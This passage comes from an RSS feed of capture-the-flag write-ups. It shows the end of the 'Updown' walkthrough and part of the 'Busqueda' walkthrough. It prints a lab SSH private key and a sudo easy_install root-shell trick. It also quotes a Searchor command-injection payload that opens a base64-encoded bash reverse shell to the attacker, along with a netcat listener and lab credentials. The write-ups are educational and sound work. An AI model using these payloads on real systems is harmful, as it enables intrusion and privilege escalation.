&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S1qi9PFoNvzkt7Uy3++6xDd95ugAdtuRL7qzA03xSNkqnt2HgjKAPOr6ctIvMDph8JeBF2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;F9Sy4XrtfCP76+WpzmxT7utvGD0N1AY3+EGRpOb7q59X0pcPRnIUnxu2sN+vIXjfGvqiAY
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ozOB5DeX8rb2bkii6S3Q1tM1VUDoW7cCRbnBMglm2FXEJU9lEv9Py2D4BavFvoUqtT8aCo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;srrKvTpAQkPrvfioShtIpo95Gfyx6Bj2MKJ6QuhiJK+O2zYm0z2ujjCXuM3V4Jb0I1Ud+q
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a+QtxTsNQVpcIuct06xTfVXeEtPThaLI5KkXElx+TgwR0633jwRpfx1eVgLCxxYk5CapHu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;u0nhUpICU1FXr6tV2uE1LIb5TJrCIx479Elbc1MPrGCksQVV8EesI7kk5A2SrnNMxLe2ck
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsQHQHxIcivCCIzB4R9FbOKdSKyZTHeZzjPwnU+FAAAFiHnDXHF5w1xxAAAAB3NzaC1yc2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EAAAGBAJrweNE1jPHrtJ+hTs4sUwNaUN/UqcGMq2Aoyqw7afIORNORBHCcP0taovTxaDb8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5Le1Mt/vusQ3feboAHbbkS+6swNN8UjZKp7dh4IygDzq+nLSLzA6YfCXgRdhfUsuF67Xwj
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;++vlqc5sU+7rbxg9DdQGN/hBkaTm+6ufV9KXD0ZyFJ8btrDfryF43xr6ogGKMzgeQ3l/K2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9m5Ioukt0NbTNVVA6Fu3AkW5wTIJZthVxCVPZRL/T8tg+AWrxb6FKrU/GgqLK6yr06QEJD
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6734qEobSKaPeRn8segY9jCiekLoYiSvjts2JtM9ro4wl7jN1eCW9CNVHfqmvkLcU7DUFa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;XCLnLdOsU31V3hLT04WiyOSpFxJcfk4MEdOt948EaX8dXlYCwscWJOQmqR7rtJ4VKSAlNR
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;V6+rVdrhNSyG+UyawiMeO/RJW3NTD6xgpLEFVfBHrCO5JOQNkq5zTMS3tnJCLEB0B8SHIr
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wgiMweEfRWzinUismUx3mc4z8J1PhQAAAAMBAAEAAAGAMhM4KP1ysRlpxhG/Q3kl1zaQXt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;b/ilNpa+mjHykQo6+i5PHAipilCDih5CJFeUggr5L7f06egR4iLcebps5tzQw9IPtG2TF+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ydt1GUozEf0rtoJhx+eGkdiVWzYh5XNfKh4HZMzD/sso9mTRiATkglOPpNiom+hZo1ipE0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NBaoVC84pPezAtU4Z8wF51VLmM3Ooft9+T11j0qk4FgPFSxqt6WDRjJIkwTdKsMvzA5XhK
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rXhMhWhIpMWRQ1vxzBKDa1C0+XEA4w+uUlWJXg/SKEAb5jkK2FsfMRyFcnYYq7XV2Okqa0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NnwFDHJ23nNE/piz14k8ss9xb3edhg1CJdzrMAd3aRwoL2h3Vq4TKnxQY6JrQ/3/QXd6Qv
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ZVSxq4iINxYx/wKhpcl5yLD4BCb7cxfZLh8gHSjAu5+L01Ez7E8MPw+VU3QRG4/Y47g0cq
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DHSERme/ArptmaqLXDCYrRMh1AP+EPfSEVfifh/ftEVhVAbv9LdzJkvUR69Kok5LIhAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wCb5o0xFjJbF8PuSasQO7FSW+TIjKH9EV/5Uy7BRCpUngxw30L7altfJ6nLGb2a3ZIi66p
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0QY/HBIGREw74gfivt4g+lpPjD23TTMwYuVkr56aoxUIGIX84d/HuDTZL9at5gxCvB3oz5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;VkKpZSWCnbuUVqnSFpHytRgjCx5f+inb++AzR4l2/ktrVl6fyiNAAiDs0aurHynsMNUjvO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;N8WLHlBgS6IDcmEqhgXXbEmUTY53WdDhSbHZJo0PF2GRCnNQAAAMEAyuRjcawrbEZgEUXW
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z3vcoZFjdpU0j9NSGaOyhxMEiFNwmf9xZ96+7xOlcVYoDxelx49LbYDcUq6g2O324qAmRR
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RtUPADO3MPlUfI0g8qxqWn1VSiQBlUFpw54GIcuSoD0BronWdjicUP0fzVecjkEQ0hp7gu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gNyFi4s68suDESmL5FCOWUuklrpkNENk7jzjhlzs3gdfU0IRCVpfmiT7LDGwX9YLfsVXtJ
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mtpd5SG55TJuGJqXCyeM+U0DBdxsT5AAAAwQDDfs/CULeQUO+2Ij9rWAlKaTEKLkmZjSqB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2d9yJVHHzGPe1DZfRu0nYYonz5bfqoAh2GnYwvIp0h3nzzQo2Svv3/ugRCQwGoFP1zs1aa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ZSESqGN9EfOnUqvQa317rHnO3moDWTnYDbynVJuiQHlDaSCyf+uaZoCMINSG5IOC/4Sj0v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3zga8EzubgwnpU7r9hN2jWboCCIOeDtvXFv08KT8pFDCCA+sMa5uoWQlBqmsOWCLvtaOWe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-----END OPENSSH PRIVATE KEY-----&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I started my further enumeration with checking if I have any sudo access, turns out that I do.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;developer@updown:~$ sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Matching Defaults entries for developer on localhost:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User developer may run the following commands on localhost:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (ALL) NOPASSWD: /usr/local/bin/easy_install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I never heard of easy_install, but I googled it and it actually is in &lt;a href="https://gtfobins.org/gtfobins/easy_install/" target="_blank" rel="noreferrer"&gt;GTFOBins&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I simply had to create a fake &lt;code&gt;setup.py&lt;/code&gt; holding my bash payload inside, setup a listener on my attacker host, and run the script with sudo.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;developer@updown:~$ echo &amp;#39;import os; os.system(&amp;#34;exec /bin/sh &amp;lt;/dev/tty &amp;gt;/dev/tty 2&amp;gt;/dev/tty&amp;#34;)&amp;#39; &amp;gt;setup.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;developer@updown:~$ cat setup.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import os; os.system(&amp;#34;exec /bin/sh &amp;lt;/dev/tty &amp;gt;/dev/tty 2&amp;gt;/dev/tty&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;developer@updown:~$ sudo easy_install .&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And boom, there is root.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Updown is a really challenging machine very focused on niche web exploitation, solid code review and careful parameter manipulation to actually exploit the attack vectors.&lt;/p&gt;
&lt;p&gt;It would be tough not to admit that I struggled at almost every point of this box. I learned a lot of new attack paths and I had to level up my game around code review, web attacks as well as injections and bypasses.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/updown/featured.png"/></item><item><title>Busqueda</title><link>https://emilpawlak.codeberg.page/posts/htb/busqueda/</link><pubDate>06.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/busqueda/</guid><description>Busqueda introduces a solid code review exercise, working with repositories and custom scripts. It&amp;rsquo;s heavy on careful code enumeration and gradual pivoting granting further access. Very fun and insightful!</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I ran my nmap scan and found both HTTP and SSH opened. Given that SSH is likely used later and that we don&amp;rsquo;t have any credentials I checked the website.
When i accessed it I noticed that I got a domain name rather than an IP in my URL - &lt;code&gt;searcher.htb&lt;/code&gt; - I added it into my &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;





&lt;div
 id="accordion-96cd298941e984b424a7d83ffe4c2d3f"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:09 CEST
Nmap scan report for 10.129.228.217
Host is up (0.028s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/5%OT=22%CT=1%CU=31695%PV=Y%DS=2%DC=I%G=Y%TM=69D18C3B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F9%GCD
OS:=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2
OS:NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W
OS:3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC=
OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=
OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.54 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST
Nmap scan report for 10.129.228.217
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST
Nmap scan report for searcher.htb (10.129.228.217)
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1008.62 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-96cd298941e984b424a7d83ffe4c2d3f &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-96cd298941e984b424a7d83ffe4c2d3f &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-96cd298941e984b424a7d83ffe4c2d3f details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-96cd298941e984b424a7d83ffe4c2d3f details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-96cd298941e984b424a7d83ffe4c2d3f");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;



&lt;h3 class="relative group"&gt;HTTP
 &lt;div id="http" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;After then I was greeted with a simple website with a form that lets you pick a search engine and look for data with a selected one.
In the background I ran &lt;code&gt;ffuf -u https://searcher.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt&lt;/code&gt; to look for interesting directories and &lt;code&gt;ffuf -u https://searcher.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H &amp;quot;Host: FUZZ.searcher.htb&amp;quot;&lt;/code&gt; for subdomains. Those results came back empty. There were also no comments in the website code.&lt;/p&gt;
&lt;p&gt;Looking into the POST request with &lt;code&gt;BurpSuite&lt;/code&gt; I noticed that the request changes depending if we check the &amp;ldquo;Auto redirect&amp;rdquo; box.
Without the box checked - &lt;code&gt;engine=DuckDuckGo&amp;amp;query=%2Fetc%2Fpasswd&lt;/code&gt;
With the box checked - &lt;code&gt;engine=DuckDuckGo&amp;amp;query=%2Fetc%2Fpasswd&amp;amp;auto_redirect=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Manual attempts at LFI didn&amp;rsquo;t work as the website filters &lt;code&gt;/&lt;/code&gt; into their encoded &lt;code&gt;%2F&lt;/code&gt;. I tried using multiple &lt;code&gt;//&lt;/code&gt;, encoding and double-encoding dashes myself and using &lt;code&gt;\&lt;/code&gt; before and after them to confuse the filter, but it didn&amp;rsquo;t work.
I tested for an RFI inputting &lt;code&gt;http://127.0.0.1:80/../../etc/passwd&lt;/code&gt; into different parameters without any results.&lt;/p&gt;
&lt;p&gt;I also looked through the engines to see if there isn&amp;rsquo;t a one that could be taken advantage of but I didn&amp;rsquo;t find such one. Too bad as we can make the server perform requests outside on our behalf and so this seems like such an opportunity for SSRF.
I also can&amp;rsquo;t add custom engines in the POST request itself as it doesn&amp;rsquo;t go through.&lt;/p&gt;
&lt;p&gt;I remembered that I saw IppSec using an SSTI (Server-Side Template Injection) method.
SSTI is a vulnerability when user input is injected into a template engine (Flask uses one) to execute a payload as a template code. Template code is used to generate dynamic text like &lt;code&gt;Hello {{username}}!&lt;/code&gt; to get &lt;code&gt;Hello Azaeir!&lt;/code&gt; and such.
I googled and found few payloads, interestingly when I run one of them it changed the response behavior.
Weirdly enough &lt;code&gt;engine=DuckDuckGo&amp;amp;query=&amp;lt;SSTI payload&amp;gt;&lt;/code&gt; and &lt;code&gt;engine=DuckDuckGo&amp;amp;query='&lt;/code&gt; both give the same empty response. This could be a strong error-based SSTI detection indicator or me just breaking the sites logic.&lt;/p&gt;
&lt;p&gt;I tried a lot of different payloads and approaches to influence the template engine to no avail. I noticed that &lt;code&gt;'&lt;/code&gt; symbol is the one that makes the response blank. I was hoping that it was escaping some placeholder, script, or a function but I think even if it does, I can&amp;rsquo;t seem to take advantage of it.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;As I felt that I have fallen into a small rabbit hole with it, I decided to scope out of it and look for some public exploits. &lt;code&gt;Wappalyzer&lt;/code&gt; found a lot of different components of the website so I went through some of them and Flask itself too. I found some GitHub repos taking about an exploit (Arbitrary CMD Injection) for Searchor 2.4.0 and 2.4.2, this could be what I&amp;rsquo;m looking for.&lt;/p&gt;
&lt;p&gt;Reading up on the vulnerability, it comes from a vulnerable &lt;code&gt;eval()&lt;/code&gt; function which is really funny as I just did the &lt;a href="https://emilpawlak.codeberg.page/posts/htb/craft/" target="_blank" rel="noreferrer"&gt;Craft&lt;/a&gt; machine which also took advantage of this insecure function!&lt;/p&gt;
&lt;p&gt;So, I cloned this exploit to my local machine, run &lt;code&gt;nc -lnvp 1337&lt;/code&gt; and followed the syntax mentioned in the repository and in the script contents and got shell on the target host.
What is actually pretty interesting about this shell is that it uses python as an execution method &lt;code&gt;evil_cmd=&amp;quot;',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment&amp;quot;&lt;/code&gt; for a payload which is actually in encoded bash &lt;code&gt;rev_shell_b64=$(echo -ne &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/$2/${port} 0&amp;gt;&amp;amp;1'&amp;quot; | base64)&lt;/code&gt;.&lt;/p&gt;

&lt;h3 class="relative group"&gt;svc
 &lt;div id="svc" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;On the target machine I was spawned in as a &lt;code&gt;svc&lt;/code&gt; user. I looked manually for some interesting information, found the user flag but nothing at &lt;code&gt;/home&lt;/code&gt; gave me way further although there was a &lt;code&gt;.git&lt;/code&gt; file on it. I went back into the home directory of the user at &lt;code&gt;/var/www/app&lt;/code&gt; and looked around for some other possible priv-esc vectors. In those files I found a &lt;code&gt;.git&lt;/code&gt; folder which holds an initial repo commit data. In this data, I found a &lt;code&gt;config&lt;/code&gt; file which hold a url that links the local repository with a remote one. This link hold embedded credentials for the user cody.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cody:jh1usoih2bkjaspwe92&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I suspect that similar simple security vectors finally made Microsoft enforce a token authentication within GitHub.
Besides the credentials we can also see another subdomain &lt;code&gt;gitea.searcher.htb&lt;/code&gt;. I will add it into &lt;code&gt;/etc/hosts&lt;/code&gt; just in case.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;Cody
 &lt;div id="cody" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s try to authenticate into SSH with the new credentials and hope that the user reused their creds.
Sadly they didn&amp;rsquo;t work on SSH but I accessed &lt;code&gt;gitea.searcher.htb&lt;/code&gt; via browser and authenticated as cody - it went through.&lt;/p&gt;
&lt;p&gt;Gitea seems to be a self-hosted git platform, similar to gogs - which is another similarity to &lt;a href="https://emilpawlak.codeberg.page/posts/htb/craft/" target="_blank" rel="noreferrer"&gt;Craft&lt;/a&gt;
On it, I found a repository where cody and Administrator worked on the searcher webapp. I reviewed the code thoroughly, logic that is used to POST the search request looks quite vulnerable at the first glace.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-Python" data-lang="Python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Engine&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__members__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;arg_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;searchor&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;search&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg_list&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The script uses &lt;code&gt;subprocesses&lt;/code&gt; library in Python which is generally used to call and execute other tools on the host like &lt;code&gt;nc&lt;/code&gt; to make a script run a listener. This script takes user&amp;rsquo;s input (&amp;ldquo;engine&amp;rdquo; and &amp;ldquo;query&amp;rdquo;) and uses it to run the searchor, then returns its output (or redirects to it) without validating how that tool handles the input. The vulnerable part here is that there are no filters for a user, it supplies user input directly into the function&amp;rsquo;s logic.&lt;/p&gt;
&lt;p&gt;I tried to test some payloads but none of them worked, unfortunately it looks like It won’t work. &lt;code&gt;subprocess.run&lt;/code&gt; passes the input as a literal argument no matter what I put in there and not matter how I try to escape it. My payloads won&amp;rsquo;t get executed unless searchor itself would somehow mishandle them internally but that didn&amp;rsquo;t happen.&lt;/p&gt;
&lt;p&gt;I decided to scope out from the gitea and try to do some more priv-esc enumeration before I ran any automated tools. Running &lt;code&gt;sudo -l -S&lt;/code&gt; I got some information.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Matching Defaults entries for svc on busqueda:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; env_reset, mail_badpass,
